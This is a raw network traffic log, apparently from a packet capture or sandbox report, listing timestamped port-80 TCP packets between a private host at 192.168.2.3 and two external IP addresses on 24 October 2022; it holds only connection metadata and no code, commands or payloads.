Oct 24, 2022 11:08:54.328676939 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.328847885 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.334403992 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.354901075 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:09:02.382462978 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.409662008 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.409847975 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.418644905 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.446290016 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.446320057 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.446338892 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.446361065 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.446378946 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.446397066 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.446402073 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.446413994 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.446434021 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.446450949 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.446459055 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.446468115 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.446485043 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.446492910 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.446518898 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.474761009 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.474803925 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.474831104 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.474845886 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.474858999 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.474891901 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.474908113 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.474937916 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.474968910 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.474972963 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.474996090 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.475023031 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.475027084 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.475049973 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.475092888 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.475111961 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.475121021 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.475150108 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.475150108 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.475177050 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.475214005 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.503302097 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.503329039 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.503346920 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.503365993 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.503377914 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.503385067 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.503403902 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.503422022 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.503432989 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.503438950 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.503457069 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.503473043 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.503490925 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.503519058 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.503540039 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.503886938 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.503948927 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.503973961 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.503993988 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.504002094 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.504036903 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.504065990 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.504084110 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.504125118 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.504420042 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.504466057 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.504498959 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.504533052 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.504553080 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.504602909 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.530786037 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.530863047 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.530951977 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.531006098 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.531059027 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.531107903 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.531160116 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.531207085 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.531258106 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.531306028 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.531310081 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.531357050 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.531363964 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.531399965 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.531418085 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.531467915 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.531517029 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.531568050 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.531615973 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.531665087 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.531718016 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.531730890 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.531771898 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.531783104 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.531826019 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.531893015 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.531944036 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.531995058 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.532016039 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.532047033 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.532057047 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.532099009 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.532149076 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.532197952 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.532246113 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.532299042 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.532313108 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.532325029 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.532366037 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.532414913 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.532847881 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.559650898 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.559720039 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.559765100 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.559770107 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.559807062 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.559843063 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.559860945 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.559906960 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.559942007 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.559947968 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.559992075 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.559998035 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.560035944 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.560077906 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.560080051 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.560122967 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.560189009 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.560208082 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.560234070 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.560278893 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.560585976 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.560635090 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.560678005 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.560682058 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.560719013 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.560760975 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.560762882 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.560806036 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.560847998 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.561383009 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.561431885 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.561475039 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.561485052 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.561517954 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.561563015 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.561567068 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.561606884 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.561655998 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.561794996 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.561844110 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.561888933 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.561904907 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.561932087 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.561984062 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.561996937 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.562040091 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.562105894 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.562333107 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.562381983 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.562437057 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.562443018 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.562550068 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.562599897 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.562608004 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.562654018 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.562699080 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.562702894 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.562741041 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.562784910 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.562787056 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.562829971 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.562884092 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.587630033 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.587711096 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.587744951 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.587778091 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.587810040 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.587837934 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.587841034 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.587874889 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.587887049 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.587903976 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.587905884 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.587938070 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.587971926 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.587986946 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.588006973 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588016987 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.588040113 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588072062 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588080883 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.588103056 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588134050 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588145018 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.588166952 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588197947 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588207006 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.588231087 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588262081 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588269949 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.588295937 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588327885 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588361025 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588362932 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.588395119 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588403940 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.588433981 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588465929 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588479996 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.588499069 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588531017 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588541985 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.588565111 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588602066 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588609934 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.588634968 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588669062 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588679075 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.588702917 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588735104 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588747978 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.588767052 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.588809013 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.589083910 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.589129925 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.589171886 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.589175940 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.589215040 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.589260101 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.589272022 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.589303970 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.589354038 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.589803934 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.589843035 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.589874983 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.589889050 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.589909077 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.589941025 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.589960098 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.589976072 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.590010881 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.590023041 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.590043068 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.590074062 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.590095997 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.590106010 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.590150118 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.615964890 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.615995884 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616015911 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616034031 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616053104 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616071939 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616090059 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616107941 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616117954 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.616127014 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616146088 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616163015 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616168976 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.616180897 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616190910 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.616199970 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616215944 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.616218090 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616235971 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616254091 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616265059 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.616274118 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616292000 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616298914 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.616311073 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616328955 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616333961 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.616347075 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616364002 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616367102 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.616380930 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616399050 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616405964 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.616415977 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616432905 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616439104 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.616451025 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616470098 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616472960 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.616487026 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616504908 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616508961 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.616522074 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616539955 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616543055 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.616558075 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616575003 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616580009 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.616591930 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616610050 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616614103 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.616626978 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616645098 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616647005 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.616662025 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616681099 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.616683960 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.616719007 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.616985083 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.617005110 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.617022991 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.617041111 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.617048979 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.617074013 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.617084980 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.617091894 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.617110014 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.617127895 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.617127895 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.617145061 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.617163897 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.617166996 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.617207050 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.617211103 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.617228031 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.617245913 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.617264032 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.643800020 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.643848896 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.643881083 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.643908978 CEST	80	49700	193.23.244.244	192.168.2.3
